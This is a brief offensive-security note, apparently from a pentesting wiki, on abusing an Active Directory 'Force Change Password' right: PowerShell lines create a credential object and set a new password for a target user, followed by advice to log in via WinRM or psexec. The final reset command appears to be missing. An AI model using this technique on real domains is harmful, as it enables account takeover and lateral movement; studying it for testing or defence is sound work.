Force Change Password
Last updated
Last updated
If we have the Force Change password privilege over a user, we can do exactly that. We can change the password of the user and then later run commands as that user.
$SecPassword = ConvertTo-SecureString '<our-users-password>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<domain.name>\<our current user>', $SecPassword)
Then we specify the password we want to force on our target user
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Then finally
We can log in via winRM, psexec, and see what privileges the user had.